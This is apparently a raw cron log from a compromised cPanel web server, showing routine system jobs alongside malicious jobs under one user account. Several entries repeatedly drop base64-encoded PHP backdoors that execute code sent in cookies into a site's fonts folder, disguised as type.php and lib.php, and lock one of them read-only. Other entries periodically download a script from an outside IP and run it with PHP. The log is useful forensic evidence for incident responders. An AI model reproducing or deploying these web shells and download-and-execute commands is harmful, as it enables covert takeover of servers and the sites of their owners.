Sep  7 21:33:01 ip-184-168-122-23 CROND[22831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:33:01 ip-184-168-122-23 CROND[22832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:33:01 ip-184-168-122-23 CROND[22833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:33:01 ip-184-168-122-23 CROND[22834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:34:02 ip-184-168-122-23 CROND[22910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:34:02 ip-184-168-122-23 CROND[22912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:34:02 ip-184-168-122-23 CROND[22914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:34:02 ip-184-168-122-23 CROND[22915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:34:02 ip-184-168-122-23 CROND[22916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:35:02 ip-184-168-122-23 CROND[23011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:35:02 ip-184-168-122-23 CROND[23007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:35:02 ip-184-168-122-23 CROND[23010]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 21:35:02 ip-184-168-122-23 CROND[23008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:35:02 ip-184-168-122-23 CROND[23006]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 21:35:02 ip-184-168-122-23 CROND[23009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:35:02 ip-184-168-122-23 CROND[23012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:35:02 ip-184-168-122-23 CROND[23005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:36:01 ip-184-168-122-23 CROND[23285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:36:01 ip-184-168-122-23 CROND[23284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:36:01 ip-184-168-122-23 CROND[23283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:36:01 ip-184-168-122-23 CROND[23286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:36:01 ip-184-168-122-23 CROND[23287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:37:01 ip-184-168-122-23 CROND[23595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:37:01 ip-184-168-122-23 CROND[23596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:37:01 ip-184-168-122-23 CROND[23597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:37:01 ip-184-168-122-23 CROND[23598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:38:01 ip-184-168-122-23 CROND[23857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:38:01 ip-184-168-122-23 CROND[23856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:38:01 ip-184-168-122-23 CROND[23858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:38:01 ip-184-168-122-23 CROND[23859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:38:01 ip-184-168-122-23 CROND[23860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:39:01 ip-184-168-122-23 CROND[23999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:39:01 ip-184-168-122-23 CROND[24001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:39:01 ip-184-168-122-23 CROND[24002]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 21:39:01 ip-184-168-122-23 CROND[24003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:39:01 ip-184-168-122-23 CROND[24004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:40:01 ip-184-168-122-23 CROND[24111]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:40:01 ip-184-168-122-23 CROND[24117]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:40:01 ip-184-168-122-23 CROND[24115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:40:01 ip-184-168-122-23 CROND[24114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:40:01 ip-184-168-122-23 CROND[24118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:40:01 ip-184-168-122-23 CROND[24116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:40:01 ip-184-168-122-23 CROND[24119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:40:01 ip-184-168-122-23 CROND[24121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:41:01 ip-184-168-122-23 CROND[24325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:41:01 ip-184-168-122-23 CROND[24323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:41:01 ip-184-168-122-23 CROND[24326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:41:01 ip-184-168-122-23 CROND[24324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:42:01 ip-184-168-122-23 CROND[24412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:42:01 ip-184-168-122-23 CROND[24414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:42:01 ip-184-168-122-23 CROND[24415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:42:01 ip-184-168-122-23 CROND[24416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:42:01 ip-184-168-122-23 CROND[24417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:43:01 ip-184-168-122-23 CROND[24498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:43:01 ip-184-168-122-23 CROND[24500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:43:01 ip-184-168-122-23 CROND[24501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:43:01 ip-184-168-122-23 CROND[24502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:44:01 ip-184-168-122-23 CROND[24580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:44:01 ip-184-168-122-23 CROND[24583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:44:01 ip-184-168-122-23 CROND[24582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:44:01 ip-184-168-122-23 CROND[24581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:44:01 ip-184-168-122-23 CROND[24585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:45:01 ip-184-168-122-23 CROND[24676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
